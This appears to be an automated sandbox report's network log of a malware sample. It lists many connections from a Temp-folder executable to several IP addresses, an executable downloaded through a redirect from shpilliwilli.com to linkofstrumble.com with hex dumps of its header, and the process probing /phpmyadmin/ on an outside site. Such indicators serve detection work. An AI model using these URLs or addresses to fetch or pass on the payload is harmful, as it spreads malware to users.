951	192.168.2.4	56480	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
952	192.168.2.4	56481	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
953	192.168.2.4	56482	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
954	192.168.2.4	56483	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
955	192.168.2.4	56485	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
956	192.168.2.4	56486	91.215.85.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
957	192.168.2.4	56487	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
958	192.168.2.4	56488	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
959	192.168.2.4	56489	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
960	192.168.2.4	56490	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
961	192.168.2.4	56491	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
962	192.168.2.4	56492	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
963	192.168.2.4	56493	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
964	192.168.2.4	56494	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
965	192.168.2.4	56495	187.134.52.10	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
966	192.168.2.4	56496	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
967	192.168.2.4	56497	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
968	192.168.2.4	56498	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
969	192.168.2.4	56499	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
970	192.168.2.4	56500	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
971	192.168.2.4	56501	91.215.85.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
972	192.168.2.4	56502	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
973	192.168.2.4	56503	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
974	192.168.2.4	56504	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
975	192.168.2.4	56505	185.196.8.22	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
976	192.168.2.4	56506	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
977	192.168.2.4	56507	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
978	192.168.2.4	56508	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
979	192.168.2.4	56509	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
980	192.168.2.4	56510	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
981	192.168.2.4	56511	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
982	192.168.2.4	56512	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
983	192.168.2.4	56513	179.25.0.220	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
984	192.168.2.4	56514	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
985	192.168.2.4	56515	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
986	192.168.2.4	56516	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
987	192.168.2.4	56517	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
988	192.168.2.4	56518	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
989	192.168.2.4	56519	91.215.85.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
990	192.168.2.4	56520	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
991	192.168.2.4	56521	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
992	192.168.2.4	56522	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
993	192.168.2.4	56523	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
994	192.168.2.4	56524	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
995	192.168.2.4	56525	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
996	192.168.2.4	56526	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
997	192.168.2.4	56527	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
998	192.168.2.4	56528	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
999	192.168.2.4	56529	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1000	192.168.2.4	56530	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1001	192.168.2.4	56531	179.25.0.220	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1002	192.168.2.4	56532	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1003	192.168.2.4	56533	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1004	192.168.2.4	56534	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1005	192.168.2.4	56535	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49754	172.67.215.49	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:12:42 UTC	190	OUT	GET /288c47bbc1871b439df19ff4df68f076.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: shpilliwilli.com
2023-12-20 02:12:42 UTC	696	IN	HTTP/1.1 307 Temporary Redirect Date: Wed, 20 Dec 2023 02:12:42 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://linkofstrumble.com/adfd12facbab1624fbcfd2459c3f5e1a/288c47bbc1871b439df19ff4df68f076.exe CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CLHKAmiKl6gpX9PLKzHYY8NEV1bjb1KYGIM76ZEs9NsNkp0cMPtbJAgUW06bXsMavPUJZYlcGAl1OPJk5wtxqLydJCStpHCnthMwGoaShY0ZE%2BOVEGa%2BFlz%2FXXQmSzGYrvcc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845ca54952370a-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 02:12:42 UTC	138	IN	Data Raw: 38 34 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 69 6e 6b 6f 66 73 74 72 75 6d 62 6c 65 2e 63 6f 6d 2f 61 64 66 64 31 32 66 61 63 62 61 62 31 36 32 34 66 62 63 66 64 32 34 35 39 63 33 66 35 65 31 61 2f 32 38 38 63 34 37 62 62 63 31 38 37 31 62 34 33 39 64 66 31 39 66 66 34 64 66 36 38 66 30 37 36 2e 65 78 65 22 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 84<a href="https://linkofstrumble.com/adfd12facbab1624fbcfd2459c3f5e1a/288c47bbc1871b439df19ff4df68f076.exe">Temporary Redirect</a>.
2023-12-20 02:12:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49755	104.21.88.149	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:12:44 UTC	225	OUT	GET /adfd12facbab1624fbcfd2459c3f5e1a/288c47bbc1871b439df19ff4df68f076.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: linkofstrumble.com
2023-12-20 02:12:45 UTC	686	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:12:44 GMT Content-Type: application/x-ms-dos-executable Content-Length: 4394872 Connection: close Last-Modified: Wed, 20 Dec 2023 01:15:22 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 523 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5sd2Dpn2pIRIEm2Ml1WuVLSSnvZf5hi415xAye0xovepCvh9cciBhmpf%2BIdZvts%2FxBQKExrfSyulbXkKJDdBFI0el09iOcJHsPAYC%2BrEhnpImxsnYamu8Qr23ftXdldjjOCGdE4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845cb4f86db3e9-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 02:12:45 UTC	683	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL
2023-12-20 02:12:45 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-12-20 02:12:45 UTC	1369	IN	Data Raw: 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 00 5f 2e 2c 00 2e 00 00 00 5f 00 00 00 3b 00 00 00 3d 00 00 00 3d 3b 00 00 28 00 6e 00 75 00 6c 00 6c 00 29 00 00 00 00 00 28 6e 75 6c 6c 29 00 00 06 00 00 06 00 01 00 00 10 00 03 06 00 06 02 10 04 45 45 45 05 05 05 05 05 35 30 00 50 00 00 00 00 28 20 38 50 58 07 08 00 37 30 30 57 50 07 00 00 20 20 08 00 00 00 00 08 60 68 60 60 60 60 00 00 78 70 78 78 78 78 08 07 08 00 00 07 00 08 08 08 00 00 08 00 08 00 07 08 00 00 00 43 6f 72 45 78 69 74 50 72 6f 63 65 73 73 00 00 6d 00 73 00 63 00 6f 00 72 00 65 00 65 00 2e Data Ascii: -./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~_.,._;==;(null)(null)EEE50P( 8PX700WP `h````xpxxxxCorExitProcessmscoree.
2023-12-20 02:12:45 UTC	1369	IN	Data Raw: 00 6f 00 75 00 67 00 68 00 20 00 73 00 70 00 61 00 63 00 65 00 20 00 66 00 6f 00 72 00 20 00 6c 00 6f 00 77 00 69 00 6f 00 20 00 69 00 6e 00 69 00 74 00 69 00 61 00 6c 00 69 00 7a 00 61 00 74 00 69 00 6f 00 6e 00 0d 00 0a 00 00 00 00 00 00 00 00 00 52 00 36 00 30 00 32 00 36 00 0d 00 0a 00 2d 00 20 00 6e 00 6f 00 74 00 20 00 65 00 6e 00 6f 00 75 00 67 00 68 00 20 00 73 00 70 00 61 00 63 00 65 00 20 00 66 00 6f 00 72 00 20 00 73 00 74 00 64 00 69 00 6f 00 20 00 69 00 6e 00 69 00 74 00 69 00 61 00 6c 00 69 00 7a 00 61 00 74 00 69 00 6f 00 6e 00 0d 00 0a 00 00 00 00 00 00 00 00 00 52 00 36 00 30 00 32 00 35 00 0d 00 0a 00 2d 00 20 00 70 00 75 00 72 00 65 00 20 00 76 00 69 00 72 00 74 00 75 00 61 00 6c 00 20 00 66 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 Data Ascii: ough space for lowio initializationR6026- not enough space for stdio initializationR6025- pure virtual function
2023-12-20 02:12:45 UTC	1369	IN	Data Raw: 20 00 75 00 6e 00 6b 00 6e 00 6f 00 77 00 6e 00 3e 00 00 00 00 00 52 00 75 00 6e 00 74 00 69 00 6d 00 65 00 20 00 45 00 72 00 72 00 6f 00 72 00 21 00 0a 00 0a 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 3a 00 20 00 00 00 05 00 00 c0 0b 00 00 00 00 00 00 00 1d 00 00 c0 04 00 00 00 00 00 00 00 96 00 00 c0 04 00 00 00 00 00 00 00 8d 00 00 c0 08 00 00 00 00 00 00 00 8e 00 00 c0 08 00 00 00 00 00 00 00 8f 00 00 c0 08 00 00 00 00 00 00 00 90 00 00 c0 08 00 00 00 00 00 00 00 91 00 00 c0 08 00 00 00 00 00 00 00 92 00 00 c0 08 00 00 00 00 00 00 00 93 00 00 c0 08 00 00 00 00 00 00 00 b4 02 00 c0 08 00 00 00 00 00 00 00 b5 02 00 c0 08 00 00 00 00 00 00 00 03 00 00 00 09 00 00 00 90 00 00 00 0c 00 00 00 4b 00 45 00 52 00 4e 00 45 00 4c 00 33 00 32 00 2e 00 44 00 4c Data Ascii: unknown>Runtime Error!Program: KERNEL32.DL
2023-12-20 02:12:45 UTC	1369	IN	Data Raw: 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 48 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 14 00 14 00 10 00 10 00 10 00 10 00 10 00 14 00 10 00 10 00 10 00 10 00 10 00 10 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 10 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 10 00 02 01 02 01 02 01 02 01 02 01 02 01 Data Ascii: H
2023-12-20 02:12:45 UTC	1369	IN	Data Raw: 41 00 70 00 72 00 00 00 4d 00 61 00 72 00 00 00 46 00 65 00 62 00 00 00 4a 00 61 00 6e 00 00 00 53 00 61 00 74 00 75 00 72 00 64 00 61 00 79 00 00 00 00 00 46 00 72 00 69 00 64 00 61 00 79 00 00 00 00 00 54 00 68 00 75 00 72 00 73 00 64 00 61 00 79 00 00 00 00 00 57 00 65 00 64 00 6e 00 65 00 73 00 64 00 61 00 79 00 00 00 54 00 75 00 65 00 73 00 64 00 61 00 79 00 00 00 4d 00 6f 00 6e 00 64 00 61 00 79 00 00 00 00 00 53 00 75 00 6e 00 64 00 61 00 79 00 00 00 00 00 53 00 61 00 74 00 00 00 46 00 72 00 69 00 00 00 54 00 68 00 75 00 00 00 57 00 65 00 64 00 00 00 54 00 75 00 65 00 00 00 4d 00 6f 00 6e 00 00 00 53 00 75 00 6e 00 00 00 48 48 3a 6d 6d 3a 73 73 00 00 00 00 64 64 64 64 2c 20 4d 4d 4d 4d 20 64 64 2c 20 79 79 79 79 00 4d 4d 2f 64 64 2f 79 79 00 00 00 Data Ascii: AprMarFebJanSaturdayFridayThursdayWednesdayTuesdayMondaySundaySatFriThuWedTueMonSunHH:mm:ssdddd, MMMM dd, yyyyMM/dd/yy
2023-12-20 02:12:45 UTC	1369	IN	Data Raw: 68 2d 63 61 6e 61 64 69 61 6e 00 66 72 65 6e 63 68 2d 62 65 6c 67 69 61 6e 00 00 65 6e 67 6c 69 73 68 2d 75 73 61 00 65 6e 67 6c 69 73 68 2d 75 73 00 00 65 6e 67 6c 69 73 68 2d 75 6b 00 00 65 6e 67 6c 69 73 68 2d 74 72 69 6e 69 64 61 64 20 79 20 74 6f 62 61 67 6f 00 00 00 65 6e 67 6c 69 73 68 2d 73 6f 75 74 68 20 61 66 72 69 63 61 00 00 00 00 65 6e 67 6c 69 73 68 2d 6e 7a 00 00 65 6e 67 6c 69 73 68 2d 6a 61 6d 61 69 63 61 00 65 6e 67 6c 69 73 68 2d 69 72 65 00 65 6e 67 6c 69 73 68 2d 63 61 72 69 62 62 65 61 6e 00 00 00 65 6e 67 6c 69 73 68 2d 63 61 6e 00 65 6e 67 6c 69 73 68 2d 62 65 6c 69 7a 65 00 00 65 6e 67 6c 69 73 68 2d 61 75 73 00 65 6e 67 6c 69 73 68 2d 61 6d 65 72 69 63 61 6e 00 00 00 00 64 75 74 63 68 2d 62 65 6c 67 69 61 6e 00 00 00 63 68 69 6e Data Ascii: h-canadianfrench-belgianenglish-usaenglish-usenglish-ukenglish-trinidad y tobagoenglish-south africaenglish-nzenglish-jamaicaenglish-ireenglish-caribbeanenglish-canenglish-belizeenglish-ausenglish-americandutch-belgianchin
2023-12-20 02:12:45 UTC	1369	IN	Data Raw: 65 73 63 72 69 70 74 6f 72 27 00 00 00 00 20 42 61 73 65 20 43 6c 61 73 73 20 41 72 72 61 79 27 00 00 20 42 61 73 65 20 43 6c 61 73 73 20 44 65 73 63 72 69 70 74 6f 72 20 61 74 20 28 00 20 54 79 70 65 20 44 65 73 63 72 69 70 74 6f 72 27 00 00 00 60 6c 6f 63 61 6c 20 73 74 61 74 69 63 20 74 68 72 65 61 64 20 67 75 61 72 64 27 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 60 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 00 60 76 65 63 74 6f 72 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 60 64 79 6e 61 6d 69 63 20 61 74 65 78 69 74 20 64 65 73 74 72 Data Ascii: escriptor' Base Class Array' Base Class Descriptor at ( Type Descriptor'`local static thread guard'`managed vector copy constructor iterator'`vector vbase copy constructor iterator'`vector copy constructor iterator'`dynamic atexit destr
2023-12-20 02:12:45 UTC	1369	IN	Data Raw: 00 5f 5f 63 64 65 63 6c 00 5f 5f 62 61 73 65 64 28 00 00 00 00 7c 39 40 00 74 39 40 00 68 39 40 00 5c 39 40 00 50 39 40 00 44 39 40 00 38 39 40 00 30 39 40 00 28 39 40 00 1c 39 40 00 10 39 40 00 40 3f 40 00 08 39 40 00 00 39 40 00 68 14 40 00 fc 38 40 00 f8 38 40 00 f4 38 40 00 f0 38 40 00 ec 38 40 00 e8 38 40 00 dc 38 40 00 d8 38 40 00 b8 12 40 00 d4 38 40 00 d0 38 40 00 cc 38 40 00 c8 38 40 00 c4 38 40 00 c0 38 40 00 bc 38 40 00 b8 38 40 00 b4 38 40 00 b0 38 40 00 ac 38 40 00 a8 38 40 00 a4 38 40 00 a0 38 40 00 9c 38 40 00 98 38 40 00 94 38 40 00 90 38 40 00 8c 38 40 00 88 38 40 00 84 38 40 00 80 38 40 00 7c 38 40 00 78 38 40 00 74 38 40 00 70 38 40 00 6c 38 40 00 68 38 40 00 64 38 40 00 58 38 40 00 4c 38 40 00 44 38 40 00 38 38 40 00 20 38 40 00 14 38 Data Ascii: __cdecl__based(\|9@t9@h9@\9@P9@D9@89@09@(9@9@9@@?@9@9@h@8@8@8@8@8@8@8@8@@8@8@8@8@8@8@8@8@8@8@8@8@8@8@8@8@8@8@8@8@8@8@\|8@x8@t8@p8@l8@h8@d8@X8@L8@D8@88@ 8@8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	50831	185.230.63.107	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:19 UTC	175	OUT	GET /phpmyadmin/ HTTP/1.1 Host: orangutech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:20 UTC	833	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Length: 0 Connection: close location: https://www.orangutech.com/phpmyadmin strict-transport-security: max-age=3600 x-wix-request-id: 1703038400.1531650886946115059 Age: 0 Server-Timing: cache;desc=miss, varnish;desc=miss, dc;desc=42 X-Seen-By: pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLrb3eKb2faxipHpDHW1Enb5/HubKAh1QhTB6OuUXtTGV,2d58ifebGbosy5xc+FRall06OeCI0eInlKGFxo5ncnKJ4Z3kGHoNPUxoJiA+x8Mpr6yspauKXjttmjQGhwQ5ug==,2UNV7KOq4oGjA5+PKsX47K15rLvEnClnBsBBVIBt3LYfbJaKSXYQ/lskq2jK6SGP,NLdhiUa+sSIsGDI1KKnLVioG5v0XsZRzDHjumEtRhsY=,B2HPMCIG9x5ElbweWMTLuZAXTJ+RmG9RN2SHzR2dsXs=,0gGrL7iazMoiuqlb7dEO3ZTAHCMd5QvOt4Q/QkJDDvluYlB0oNjWRakq95Ydu03BnrtAnGCR4oPxQqwLMFI7ng== Cache-Control: no-cache X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	51165	104.21.4.150	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
